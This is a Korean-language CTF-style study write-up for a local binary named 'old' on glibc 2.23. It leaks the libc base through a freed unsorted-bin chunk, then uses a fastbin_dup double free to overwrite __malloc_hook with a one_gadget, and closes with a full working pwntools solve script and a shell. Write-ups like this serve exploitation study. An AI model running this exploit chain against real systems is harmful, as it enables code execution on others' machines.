요약
해당 내용은 GLIBC 2.23-0ubuntu11.3 / ubuntu 16.04 환경에서 unsorted bin에 남겨진 fd, bk 값을 통해 libc base 주소를 구하고, fastbin_dup으로 AAW 실습을 한 내용이다.
이당시때는 tcache와 safe-linking 기법이 적용되지 않았다.
checksec
seo@seo-ubuntu1604:~/study/old_dayz$ checksec ./old [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [*] '/home/seo/study/old_dayz/old' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled Stripped: No
Analysis
1. Leak Libc address
''' 이 방법이 작동하는 이유는 free chunk를 확인할 수 있고, unsorted bin이 이중 연결(doubly linked) 순환 리스트이기 때문입니다. 따라서 요소가 하나만 있을 경우, 그 요소의 fd와 bk 포인터는 모두 메인 아레나(main arena)에 있는 unsorted bin의 주소를 가리키게 됩니다. ''' #fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용) add(0, 0x80) #fast bin, chunk size 0x90 add(1, 0x20) #fast bin, chunk size 0x30 delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감.
gdb-peda$ parseheap addr prev size status fd bk 0x555555559000 0x0 0x90 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78 0x555555559090 0x90 0x30 Used None None gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555555590c0 (size : 0x20f40) last_remainder: 0x0 (size : 0x0) unsortbin: 0x555555559000 (size : 0x90)
- add(0, 0x80)

- add(0, 0x80) → add(1, 0x20)

- malloc(0x80) → malloc(0x20)→ delete(0)
- 여기서 fd, bk에 적힌주소는 libc_base + 0x3c4b78,
- 해제된 notes[0]에 fd, bk 값이 남아있어 libc 베이스 계산 가능.

gdb-peda$ x/gx 0x00007ffff7dd1b78 0x7ffff7dd1b78 <main_arena+88>: 0x00005555555590c0 gdb-peda$ p *(struct malloc_state *)(0x00007ffff7dd1b78-88) $2 = { mutex = 0x0, flags = 0x1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x5555555590c0, last_remainder = 0x0, bins = {0x555555559000, 0x555555559000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1bd8 <main_arena+184>, 0x7ffff7dd1be8 <main_arena+200>, 0x7ffff7dd1be8 <main_arena+200>, 0x7ffff7dd1bf8 <main_arena+216>, 0x7ffff7dd1bf8 <main_arena+216>, 0x7ffff7dd1c08 <main_arena+232>, 0x7ffff7dd1c08 <main_arena+232>, 0x7ffff7dd1c18 <main_arena+248>, 0x7ffff7dd1c18 <main_arena+248>, 0x7ffff7dd1c28 <main_arena+264>, 0x7ffff7dd1c28 <main_arena+264>, 0x7ffff7dd1c38 <main_arena+280>, 0x7ffff7dd1c38 <main_arena+280>, 0x7ffff7dd1c48 <main_arena+296>, 0x7ffff7dd1c48 <main_arena+296>, 0x7ffff7dd1c58 <main_arena+312>, 0x7ffff7dd1c58 <main_arena+312>, 0x7ffff7dd1c68 <main_arena+328>, 0x7ffff7dd1c68 <main_arena+328>, 0x7ffff7dd1c78 <main_arena+344>, 0x7ffff7dd1c78 <main_arena+344>, 0x7ffff7dd1c88 <main_arena+360>, 0x7ffff7dd1c88 <main_arena+360>, 0x7ffff7dd1c98 <main_arena+376>, 0x7ffff7dd1c98 <main_arena+376>, 0x7ffff7dd1ca8 <main_arena+392>, 0x7ffff7dd1ca8 <main_arena+392>, 0x7ffff7dd1cb8 <main_arena+408>, 0x7ffff7dd1cb8 <main_arena+408>, 0x7ffff7dd1cc8 <main_arena+424>, 0x7ffff7dd1cc8 <main_arena+424>, 0x7ffff7dd1cd8 <main_arena+440>, 0x7ffff7dd1cd8 <main_arena+440>, 0x7ffff7dd1ce8 <main_arena+456>, 0x7ffff7dd1ce8 <main_arena+456>, 0x7ffff7dd1cf8 <main_arena+472>, 0x7ffff7dd1cf8 <main_arena+472>, 0x7ffff7dd1d08 <main_arena+488>, 0x7ffff7dd1d08 <main_arena+488>, 0x7ffff7dd1d18 <main_arena+504>, 0x7ffff7dd1d18 <main_arena+504>, 0x7ffff7dd1d28 <main_arena+520>, 0x7ffff7dd1d28 <main_arena+520>, 0x7ffff7dd1d38 <main_arena+536>, 0x7ffff7dd1d38 <main_arena+536>, 0x7ffff7dd1d48 <main_arena+552>, 0x7ffff7dd1d48 <main_arena+552>, 0x7ffff7dd1d58 <main_arena+568>, 0x7ffff7dd1d58 <main_arena+568>, 0x7ffff7dd1d68 <main_arena+584>, 0x7ffff7dd1d68 <main_arena+584>, 0x7ffff7dd1d78 <main_arena+600>, 0x7ffff7dd1d78 <main_arena+600>, 0x7ffff7dd1d88 <main_arena+616>, 0x7ffff7dd1d88 <main_arena+616>, 0x7ffff7dd1d98 <main_arena+632>, 0x7ffff7dd1d98 <main_arena+632>, 0x7ffff7dd1da8 <main_arena+648>, 0x7ffff7dd1da8 <main_arena+648>, 0x7ffff7dd1db8 <main_arena+664>, 0x7ffff7dd1db8 <main_arena+664>, 0x7ffff7dd1dc8 <main_arena+680>, 0x7ffff7dd1dc8 <main_arena+680>, 0x7ffff7dd1dd8 <main_arena+696>, 0x7ffff7dd1dd8 <main_arena+696>, 0x7ffff7dd1de8 <main_arena+712>, 0x7ffff7dd1de8 <main_arena+712>, 0x7ffff7dd1df8 <main_arena+728>, 0x7ffff7dd1df8 <main_arena+728>, 0x7ffff7dd1e08 <main_arena+744>, 0x7ffff7dd1e08 <main_arena+744>, 0x7ffff7dd1e18 <main_arena+760>, 0x7ffff7dd1e18 <main_arena+760>, 0x7ffff7dd1e28 <main_arena+776>, 0x7ffff7dd1e28 <main_arena+776>, 0x7ffff7dd1e38 <main_arena+792>, 0x7ffff7dd1e38 <main_arena+792>, 0x7ffff7dd1e48 <main_arena+808>, 0x7ffff7dd1e48 <main_arena+808>, 0x7ffff7dd1e58 <main_arena+824>, 0x7ffff7dd1e58 <main_arena+824>, 0x7ffff7dd1e68 <main_arena+840>, 0x7ffff7dd1e68 <main_arena+840>, 0x7ffff7dd1e78 <main_arena+856>, 0x7ffff7dd1e78 <main_arena+856>, 0x7ffff7dd1e88 <main_arena+872>, 0x7ffff7dd1e88 <main_arena+872>, 0x7ffff7dd1e98 <main_arena+888>, 0x7ffff7dd1e98 <main_arena+888>, 0x7ffff7dd1ea8 <main_arena+904>, 0x7ffff7dd1ea8 <main_arena+904>, 0x7ffff7dd1eb8 <main_arena+920>, 0x7ffff7dd1eb8 <main_arena+920>, 0x7ffff7dd1ec8 <main_arena+936>, 0x7ffff7dd1ec8 <main_arena+936>, 0x7ffff7dd1ed8 <main_arena+952>, 0x7ffff7dd1ed8 <main_arena+952>, 0x7ffff7dd1ee8 <main_arena+968>, 0x7ffff7dd1ee8 <main_arena+968>, 0x7ffff7dd1ef8 <main_arena+984>, 0x7ffff7dd1ef8 <main_arena+984>, 0x7ffff7dd1f08 <main_arena+1000>, 0x7ffff7dd1f08 <main_arena+1000>, 0x7ffff7dd1f18 <main_arena+1016>, 0x7ffff7dd1f18 <main_arena+1016>, 0x7ffff7dd1f28 <main_arena+1032>, 0x7ffff7dd1f28 <main_arena+1032>, 0x7ffff7dd1f38 <main_arena+1048>, 0x7ffff7dd1f38 <main_arena+1048>, 0x7ffff7dd1f48 <main_arena+1064>, 0x7ffff7dd1f48 <main_arena+1064>, 0x7ffff7dd1f58 <main_arena+1080>, 0x7ffff7dd1f58 <main_arena+1080>, 0x7ffff7dd1f68 <main_arena+1096>, 0x7ffff7dd1f68 <main_arena+1096>, 0x7ffff7dd1f78 <main_arena+1112>, 0x7ffff7dd1f78 <main_arena+1112>, 0x7ffff7dd1f88 <main_arena+1128>, 0x7ffff7dd1f88 <main_arena+1128>, 0x7ffff7dd1f98 <main_arena+1144>, 0x7ffff7dd1f98 <main_arena+1144>, 0x7ffff7dd1fa8 <main_arena+1160>, 0x7ffff7dd1fa8 <main_arena+1160>, 0x7ffff7dd1fb8 <main_arena+1176>, 0x7ffff7dd1fb8 <main_arena+1176>, 0x7ffff7dd1fc8 <main_arena+1192>, 0x7ffff7dd1fc8 <main_arena+1192>, 0x7ffff7dd1fd8 <main_arena+1208>, 0x7ffff7dd1fd8 <main_arena+1208>, 0x7ffff7dd1fe8 <main_arena+1224>, 0x7ffff7dd1fe8 <main_arena+1224>, 0x7ffff7dd1ff8 <main_arena+1240>, 0x7ffff7dd1ff8 <main_arena+1240>, 0x7ffff7dd2008 <main_arena+1256>, 0x7ffff7dd2008 <main_arena+1256>, 0x7ffff7dd2018 <main_arena+1272>, 0x7ffff7dd2018 <main_arena+1272>, 0x7ffff7dd2028 <main_arena+1288>, 0x7ffff7dd2028 <main_arena+1288>, 0x7ffff7dd2038 <main_arena+1304>, 0x7ffff7dd2038 <main_arena+1304>, 0x7ffff7dd2048 <main_arena+1320>, 0x7ffff7dd2048 <main_arena+1320>, 0x7ffff7dd2058 <main_arena+1336>, 0x7ffff7dd2058 <main_arena+1336>, 0x7ffff7dd2068 <main_arena+1352>, 0x7ffff7dd2068 <main_arena+1352>, 0x7ffff7dd2078 <main_arena+1368>, 0x7ffff7dd2078 <main_arena+1368>, 0x7ffff7dd2088 <main_arena+1384>, 0x7ffff7dd2088 <main_arena+1384>, 0x7ffff7dd2098 <main_arena+1400>, 0x7ffff7dd2098 <main_arena+1400>, 0x7ffff7dd20a8 <main_arena+1416>, 0x7ffff7dd20a8 <main_arena+1416>, 0x7ffff7dd20b8 <main_arena+1432>, 0x7ffff7dd20b8 <main_arena+1432>, 0x7ffff7dd20c8 <main_arena+1448>, 0x7ffff7dd20c8 <main_arena+1448>, 0x7ffff7dd20d8 <main_arena+1464>, 0x7ffff7dd20d8 <main_arena+1464>, 0x7ffff7dd20e8 <main_arena+1480>, 0x7ffff7dd20e8 <main_arena+1480>, 0x7ffff7dd20f8 <main_arena+1496>, 0x7ffff7dd20f8 <main_arena+1496>, 0x7ffff7dd2108 <main_arena+1512>, 0x7ffff7dd2108 <main_arena+1512>, 0x7ffff7dd2118 <main_arena+1528>, 0x7ffff7dd2118 <main_arena+1528>, 0x7ffff7dd2128 <main_arena+1544>, 0x7ffff7dd2128 <main_arena+1544>, 0x7ffff7dd2138 <main_arena+1560>, 0x7ffff7dd2138 <main_arena+1560>, 0x7ffff7dd2148 <main_arena+1576>, 0x7ffff7dd2148 <main_arena+1576>, 0x7ffff7dd2158 <main_arena+1592>, 0x7ffff7dd2158 <main_arena+1592>, 0x7ffff7dd2168 <main_arena+1608>, 0x7ffff7dd2168 <main_arena+1608>, 0x7ffff7dd2178 <main_arena+1624>, 0x7ffff7dd2178 <main_arena+1624>, 0x7ffff7dd2188 <main_arena+1640>, 0x7ffff7dd2188 <main_arena+1640>, 0x7ffff7dd2198 <main_arena+1656>, 0x7ffff7dd2198 <main_arena+1656>, 0x7ffff7dd21a8 <main_arena+1672>, 0x7ffff7dd21a8 <main_arena+1672>...}, binmap = {0x0, 0x0, 0x0, 0x0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 0x1, system_mem = 0x21000, max_system_mem = 0x21000 } gdb-peda$
- 최종 코드
#fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용) add(0, 0x80) #fast bin, chunk size 0x90 add(1, 0x20) #fast bin, chunk size 0x30 delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감. leak = view(0) leak = leak[:6] leak = uu64(leak) info("leaked: " + hex(leak)) l.address = leak - 0x3c4b78 info("libc base: " + hex(l.address))
2. AAW using fastbin_dup technique
unsorted bin으로부터 다시 fastbin으로부터 할당받고, 나머지 2개도 fastbin으로 할당.
add(2, 0x80) # 오래된 청크, notes[2]로 할당함.. unsorted bin에서 요청되었기 때문에, 다음 malloc에서는 이 청크를 받을 수 없음. add(3, 0x68) # A idx 3 add(4, 0x68) # B idx 4

- fastbin dup / Double-free 버그 트리거
#fastbin dup 트리거 delete(3) # A idx 3 : A linked into fastbin delete(4) # B idx 4 : B linked into fastbin delete(3) # A idx 3 : A linked into fastbin again

- 이제 할당시 notes[5]와 notes[7]은 같은 주소를 가리킴.
- notes[7] 할당하기 전에, notes[5]에 malloc_hook-35 8바이트를 작성해 AAW할 대상 주소 결정. 이는 추후, notes[8]에서 할당받을때, write 함수로 AAW할 수 있음.
# 이제 1번째 할당 주소와 3번째 할당 주소는 같은 주소를 가리킴. add(5, 0x68) # 5 #0x00005555555590d0 write(5, p64(malloc_hook-35)) add(6, 0x68) # 6 #0x0000555555559140 add(7, 0x68) # 7 malloc_hook-35를 0x70 fastbin에 넣음. #0x00005555555590d0

- 이제
add(8, 0x68)
호출시, notes[8]에 할당받은 주소는 AAW할 대상주소가 적혀있음. - 적힌
0x00007ffff7dd1afd
주소는libc base + 0x3c4afd
gdb-peda$ x/16gx 0x0005555555580C0 0x5555555580c0 <notes>: 0x0000555555559010 0x00005555555590a0 0x5555555580d0 <notes+16>: 0x0000555555559010 0x00005555555590d0 0x5555555580e0 <notes+32>: 0x0000555555559140 0x00005555555590d0 0x5555555580f0 <notes+48>: 0x0000555555559140 0x00005555555590d0 0x555555558100 <notes+64>: 0x00007ffff7dd1afd 0x0000000000000000 0x555555558110 <notes+80>: 0x0000000000000000 0x0000000000000000 0x555555558120 <notes+96>: 0x0000000000000000 0x0000000000000000 0x555555558130 <notes+112>: 0x0000000000000000 0x0000000000000000
.data:00000000003C4AF0 dq offset _IO_wfile_jumps .data:00000000003C4AF8 db 0 .data:00000000003C4AF9 db 0 .data:00000000003C4AFA db 0 .data:00000000003C4AFB db 0 .data:00000000003C4AFC db 0 .data:00000000003C4AFD db 0 .data:00000000003C4AFE db 0 .data:00000000003C4AFF db 0 .data:00000000003C4B00 public __memalign_hook ; weak .data:00000000003C4B00 __memalign_hook dq offset sub_85EA0 ; DATA XREF: LOAD:0000000000010DD0↑o .data:00000000003C4B00 ; .got:__memalign_hook_ptr↑o .data:00000000003C4B08 public __realloc_hook ; weak .data:00000000003C4B08 __realloc_hook dq offset sub_85A70 ; DATA XREF: LOAD:000000000000C888↑o .data:00000000003C4B08 ; .got:__realloc_hook_ptr↑o .data:00000000003C4B10 public __malloc_hook ; weak .data:00000000003C4B10 __malloc_hook dq offset sub_858A0 ; DATA XREF: LOAD:000000000000A380↑o .data:00000000003C4B10 ; .got:__malloc_hook_ptr↑o .data:00000000003C4B18 align 20h .data:00000000003C4B20 dword_3C4B20 dd 0 ; DATA XREF: sub_7D920:loc_7DB9E↑o .data:00000000003C4B20 ; sub_7D920+341↑o ... .data:00000000003C4B24 dword_3C4B24 dd 0 ; DATA XREF: sub_7DEC0:loc_7DEFE↑r .data:00000000003C4B24 ; sub_7DFB0:loc_7DFF7↑r ... .data:00000000003C4B28 unk_3C4B28 db 0 ; DATA XREF: malloc_set_state:loc_86201↑o
- 적힌
0x00007ffff7dd1afd
주소는libc base + 0x3c4afd
이므로, 0x3C4B10 – 0x3c4afd = 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음. - 8바이트 malloc_hook은 one_gadget 주소로 덮어쓰기!
- 이후에는 다음번에 malloc 호출시, 원가젯이 실행됨.
add(8, 0x68) # 8 malloc_hook-35부터 시작하여 0x70 크기의 청크를 요청. # 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음 write(8, b"A"*19 + p64(one_gadget)) #원가젯으로 덮어씀.ㅇㅇㅇ add(9, 0x68) #원가젯 실행
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = process("./old") e = ELF('./old',checksec=False) l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) s = lambda str: p.send(str) sl = lambda str: p.sendline(str) sa = lambda delims, str: p.sendafter(delims, str) sla = lambda delims, str: p.sendlineafter(delims, str) r = lambda numb=4096: p.recv(numb) rl = lambda: p.recvline() ru = lambda delims: p.recvuntil(delims) uu32 = lambda data: u32(data.ljust(4, b"\x00")) uu64 = lambda data: u64(data.ljust(8, b"\x00")) li = lambda str, data: log.success(str + "========>" + hex(data)) ip = lambda: input() pi = lambda: p.interactive() def add(idx, size): sla(b"> ", b"1") sla(b"idx: \n", str(idx)) sla(b"size: \n", str(size)) def delete(idx): sla(b"> ", b"2") sla(b"idx: \n", str(idx)) def write(idx, contents): sla(b"> ", b"3") sla(b"idx: \n", str(idx)) sla(b"contents: \n", (contents)) def view(idx): sla(b"> ", b"4") sla(b"idx: \n", str(idx)) result = p.recvline() # info(result) result = result.split(b"data: ")[1] return result def exit(): sla(b"> ", b"5") def exit_42(): sla(b"> ", b"5") ''' 이 방법이 작동하는 이유는 free chunk를 확인할 수 있고, unsorted bin이 이중 연결(doubly linked) 순환 리스트이기 때문입니다. 따라서 요소가 하나만 있을 경우, 그 요소의 fd와 bk 포인터는 모두 메인 아레나(main arena)에 있는 unsorted bin의 주소를 가리키게 됩니다. ''' #Leak libc #fastbin에 들어감, 64비트 기준 청크 크기 범위 = 32~128byte(7개의 bin만 사용) add(0, 0x80) #fast bin, chunk size 0x90 add(1, 0x20) #fast bin, chunk size 0x30 delete(0) #처음에 malloc(0x80)한 청크를 free하면 unsorted bin으로 들어감. leak = view(0) leak = leak[:6] leak = uu64(leak) info("leaked: " + hex(leak)) l.address = leak - 0x3c4b78 info("libc base: " + hex(l.address)) #Overwriting malloc hook: fastbin dup technique malloc_hook = l.sym.__malloc_hook info("malloc_hook: " + hex(malloc_hook)) one_gadget = l.address + 0x4527a add(2, 0x80) # 오래된 청크, notes[2]로 할당함.. unsorted bin에서 요청되었기 때문에, 다음 malloc에서는 이 청크를 받을 수 없음. add(3, 0x68) # A idx 3 add(4, 0x68) # B idx 4 # ip() #fastbin dup 트리거 delete(3) # A idx 3 : A linked into fastbin delete(4) # B idx 4 : B linked into fastbin delete(3) # A idx 3 : A linked into fastbin again # ip() # 이제 1번째 할당 주소와 3번째 할당 주소는 같은 주소를 가리킴. add(5, 0x68) # 5 #0x00005555555590d0 write(5, p64(malloc_hook-35)) add(6, 0x68) # 6 #0x0000555555559140 add(7, 0x68) # 7 malloc_hook-35를 0x70 fastbin에 넣음. #0x00005555555590d0 add(8, 0x68) # 8 malloc_hook-35부터 시작하여 0x70 크기의 청크를 요청. # 0x13만큼 더미로 채워야 8바이트 malloc_hook 포인터 주소를 덮어쓸 수 있음 write(8, b"A"*19 + p64(one_gadget)) #원가젯으로 덮어씀.ㅇㅇㅇ add(9, 0x68) #원가젯 실행 pi()
Result
seo@seo-ubuntu1604:~/study/old_dayz$ python3 solve.py [+] Starting local process './old': pid 3430 [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [!] Could not populate PLT: invalid syntax (unicorn.py, line 157) [*] leaked: 0x7ffff7dd1b78 [*] libc base: 0x7ffff7a0d000 [*] malloc_hook: 0x7ffff7dd1b10 [*] Switching to interactive mode $ id uid=1000(seo) gid=1000(seo) groups=1000(seo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ whoami seo $ [*] Interrupted [*] Stopped process './old' (pid 3430)